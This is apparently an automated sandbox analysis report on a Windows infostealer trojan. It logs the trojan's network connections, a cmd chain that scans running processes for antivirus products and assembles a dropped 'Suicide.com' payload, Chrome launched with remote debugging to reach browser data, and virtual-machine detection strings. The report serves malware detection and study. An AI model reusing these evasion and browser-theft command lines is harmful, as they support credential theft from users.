Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.212.196:443 -> 192.168.2.4:49790 version: TLS 1.2

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	File created: C:\Windows\FirmwareRobinson			Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	File created: C:\Windows\PetersburgTrailer			Jump to behavior

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_004049A8	0_2_004049A8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\402438\Suicide.com 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: String function: 004062CF appears 58 times

Source: Yn13dTQdcW.exe

Static PE information: invalid certificate

Source: Yn13dTQdcW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/37@5/5

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

0_2_004044D1

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\MGL5JUO3.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

File created: C:\Users\user\AppData\Local\Temp\nsc85E8.tmp

Jump to behavior

Source: Yn13dTQdcW.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000010.00000002.2727001205.000078C400540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: I5P8GL68G.10.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Yn13dTQdcW.exe	ReversingLabs: Detection: 34%
Source: Yn13dTQdcW.exe	Virustotal: Detection: 22%

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

File read: C:\Users\user\Desktop\Yn13dTQdcW.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Yn13dTQdcW.exe "C:\Users\user\Desktop\Yn13dTQdcW.exe"
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 402438
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "integratedintlhandlingwaterproofcbperformtreasurertim" Recording
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Coaches + ..\Hypothetical + ..\Nasty + ..\Fly + ..\Zum + ..\Disclose + ..\Expensive + ..\Argue N
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\402438\Suicide.com Suicide.com N
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2344,i,2585248863302198166,5180447785711478511,262144 /prefetch:8
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 402438	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "integratedintlhandlingwaterproofcbperformtreasurertim" Recording	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Coaches + ..\Hypothetical + ..\Nasty + ..\Fly + ..\Zum + ..\Disclose + ..\Expensive + ..\Argue N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\402438\Suicide.com Suicide.com N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2344,i,2585248863302198166,5180447785711478511,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Yn13dTQdcW.exe

Static file information: File size 1192690 > 1048576

Source: Yn13dTQdcW.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: Yn13dTQdcW.exe

Static PE information: real checksum: 0x1208a0 should be: 0x12bf72

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Jump to dropped file

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\402438\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\402438	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: chrome.exe, 00000010.00000002.2725188272.000078C4000EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000010.00000002.2732042827.000078C400D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=5a068a65-a8ff-4209-bb88-52f3be1d2e9fx
Source: chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: chrome.exe, 00000010.00000002.2732042827.000078C400D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=5a068a65-a8ff-4209-bb88-52f3be1d2e9f
Source: chrome.exe, 00000010.00000002.2717834194.000001C1D5E1D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Process information queried: ProcessInformation

Jump to behavior

